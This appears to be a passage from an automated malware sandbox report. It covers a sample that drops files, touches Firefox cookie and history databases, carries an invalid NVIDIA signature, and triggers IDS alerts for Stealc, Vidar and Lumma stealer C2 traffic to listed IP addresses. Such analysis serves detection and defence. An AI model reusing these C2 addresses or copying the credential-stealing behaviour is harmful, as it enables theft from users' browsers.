File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:RRRy:LU
MD5:	2DADD48EB5F5109894EB671B760E05DC
SHA1:	41D408180851583E85135349E7B5E6F96A321ADB
SHA-256:	41A8E708F7BF5B004AEDC7C0B6A01FFF2F0379AD4932F7117FA6473049FA9195
SHA-512:	E1AC5D5644C859F470214D50A411D9FDBAAAA25FC1B3575E19A30FFA2DEBDD4ED20309CA124ACA2F8A98B33BA7599E48635AADEB6A7D12655B5A374F4B4CDD6E
Malicious:	false
Preview:	????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.999302542011407
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	66fb252fe232b_Patksl.exe
File size:	1'964'072 bytes
MD5:	34ec7a5a9154386680a400b65cada6cb
SHA1:	a97b1bf2c6af2499c31510bd8c2efce3c50482f6
SHA256:	f0bfcf5fc84fbbbe4b4a46cf51193a359cfddbd79aa88f81d6da4f5dab79ba70
SHA512:	3c675d631cd15283d3f258c90615c2be10bcdb7f0405f4c3ba50a2c3b3f59f7533951f33be75809e920b8d74ff56bbb83bf48e3ef9814621cf1dea6cfbe55eee
SSDEEP:	49152:h6qzkxccYdN/gvA5H+HQpZ4+Lue+2n8Zo+4i:h60cVvZQU+l+Oqo+7
TLSH:	CC953398F19B4EDAF3430E7AEF44A216C913A961E25FC1E249C0D62BDF57F4172AE050
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.f............................>.... ........@.. .......................@............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x5de63e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FB2487 [Mon Sep 30 22:21:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1de5ec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e0000	0x5f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1dd200	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1de4b4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1dc644	0x1dc800	65e4ff886c7922b73fd74c9f371abbea	False	0.9989814237932844	data	7.999715150656324	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1e0000	0x5f8	0x600	51e113bdf32846bb6914e65a27c7a952	False	0.4420572916666667	data	4.167898010413858	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e2000	0xc	0x200	181b12d0984976097a76730bec9d5885	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1e00a0	0x368	data			0.4380733944954128
RT_MANIFEST	0x1e0408	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T17:15:59.834123+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49725	147.45.44.104	80	TCP
2024-10-02T17:16:30.674790+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65231	49.12.197.9	443	TCP
2024-10-02T17:16:31.829967+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65232	49.12.197.9	443	TCP
2024-10-02T17:16:33.213110+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65233	49.12.197.9	443	TCP
2024-10-02T17:16:34.567461+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65234	49.12.197.9	443	TCP
2024-10-02T17:16:35.251597+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.6	65234	49.12.197.9	443	TCP
2024-10-02T17:16:35.251787+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.6	65234	TCP
2024-10-02T17:16:35.923245+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65235	49.12.197.9	443	TCP
2024-10-02T17:16:36.607120+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.6	65235	TCP
2024-10-02T17:16:37.347023+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65236	49.12.197.9	443	TCP
2024-10-02T17:16:38.354204+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65237	49.12.197.9	443	TCP
2024-10-02T17:16:41.397948+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65238	49.12.197.9	443	TCP
2024-10-02T17:16:42.498367+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65239	49.12.197.9	443	TCP
2024-10-02T17:16:43.803554+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65240	49.12.197.9	443	TCP
2024-10-02T17:16:44.891714+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65242	49.12.197.9	443	TCP
2024-10-02T17:16:46.621439+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65243	49.12.197.9	443	TCP
2024-10-02T17:16:48.295405+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65244	49.12.197.9	443	TCP
2024-10-02T17:16:49.970947+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65245	49.12.197.9	443	TCP
2024-10-02T17:16:52.150405+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65246	49.12.197.9	443	TCP
2024-10-02T17:16:53.382931+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65247	49.12.197.9	443	TCP
2024-10-02T17:16:56.742238+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65250	49.12.197.9	443	TCP
2024-10-02T17:16:58.208585+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65255	49.12.197.9	443	TCP
2024-10-02T17:16:59.677368+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65257	49.12.197.9	443	TCP
2024-10-02T17:17:01.282365+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65258	49.12.197.9	443	TCP
2024-10-02T17:17:03.144033+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65261	49.12.197.9	443	TCP
2024-10-02T17:17:05.187070+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65262	49.12.197.9	443	TCP
2024-10-02T17:17:06.841227+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	65263	147.45.44.104	80	TCP
2024-10-02T17:17:08.259331+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65264	49.12.197.9	443	TCP
2024-10-02T17:17:09.838243+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	65263	147.45.44.104	80	TCP
2024-10-02T17:17:10.782744+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65265	104.21.77.132	443	TCP
2024-10-02T17:17:10.782744+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65265	104.21.77.132	443	TCP
2024-10-02T17:17:10.877715+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65266	49.12.197.9	443	TCP
2024-10-02T17:17:11.921412+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65267	188.114.96.3	443	TCP
2024-10-02T17:17:11.921412+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65267	188.114.96.3	443	TCP
2024-10-02T17:17:12.459952+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	65263	147.45.44.104	80	TCP
2024-10-02T17:17:12.917875+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65268	104.21.56.150	443	TCP
2024-10-02T17:17:12.917875+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65268	104.21.56.150	443	TCP
2024-10-02T17:17:13.684383+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65269	49.12.197.9	443	TCP
2024-10-02T17:17:14.318990+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65270	104.21.84.18	443	TCP
2024-10-02T17:17:14.318990+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65270	104.21.84.18	443	TCP
2024-10-02T17:17:15.526619+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65271	49.12.197.9	443	TCP
2024-10-02T17:17:15.829961+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65272	104.21.18.193	443	TCP
2024-10-02T17:17:15.829961+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65272	104.21.18.193	443	TCP
2024-10-02T17:17:15.874198+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:16.074233+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:16.080661+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.6	65273	TCP
2024-10-02T17:17:16.588941+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:16.590072+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.6	65273	TCP
2024-10-02T17:17:17.056672+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65274	104.21.21.3	443	TCP
2024-10-02T17:17:17.056672+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65274	104.21.21.3	443	TCP
2024-10-02T17:17:17.311419+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:17.351373+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.6	65275	45.132.206.251	80	TCP
2024-10-02T17:17:17.551561+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:18.689688+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65276	172.67.177.186	443	TCP
2024-10-02T17:17:18.689688+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65276	172.67.177.186	443	TCP
2024-10-02T17:17:21.373096+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:22.260184+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65273	46.8.231.109	80	TCP
2024-10-02T17:17:22.270865+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65278	104.21.16.12	443	TCP
2024-10-02T17:17:22.270865+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65278	104.21.16.12	443	TCP
2024-10-02T17:17:22.982956+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65279	46.8.231.109	80	TCP
2024-10-02T17:17:24.593916+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65279	46.8.231.109	80	TCP
2024-10-02T17:17:25.620971+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65280	46.8.231.109	80	TCP
2024-10-02T17:17:25.977835+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65280	46.8.231.109	80	TCP
2024-10-02T17:17:28.265510+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65281	147.45.44.104	80	TCP
2024-10-02T17:17:29.275963+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	65281	147.45.44.104	80	TCP
2024-10-02T17:17:32.897464+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65284	104.21.77.132	443	TCP
2024-10-02T17:17:32.897464+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65284	104.21.77.132	443	TCP
2024-10-02T17:17:33.177382+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65286	49.12.197.9	443	TCP
2024-10-02T17:17:33.947663+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65287	188.114.96.3	443	TCP
2024-10-02T17:17:33.947663+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65287	188.114.96.3	443	TCP
2024-10-02T17:17:34.635984+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65289	49.12.197.9	443	TCP
2024-10-02T17:17:34.964080+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65288	104.21.56.150	443	TCP
2024-10-02T17:17:34.964080+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65288	104.21.56.150	443	TCP
2024-10-02T17:17:36.168450+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65292	49.12.197.9	443	TCP
2024-10-02T17:17:36.414769+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65291	104.21.18.193	443	TCP
2024-10-02T17:17:36.414769+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65291	104.21.18.193	443	TCP
2024-10-02T17:17:37.329154+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65293	104.21.21.3	443	TCP
2024-10-02T17:17:37.329154+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65293	104.21.21.3	443	TCP
2024-10-02T17:17:37.518377+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65294	49.12.197.9	443	TCP
2024-10-02T17:17:38.522053+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.6	65294	TCP
2024-10-02T17:17:38.523341+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65295	172.67.177.186	443	TCP
2024-10-02T17:17:38.523341+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65295	172.67.177.186	443	TCP
2024-10-02T17:17:39.419184+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65296	49.12.197.9	443	TCP
2024-10-02T17:17:40.119544+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.6	65296	TCP
2024-10-02T17:17:41.007105+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	65298	104.21.16.12	443	TCP
2024-10-02T17:17:41.007105+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	65298	104.21.16.12	443	TCP
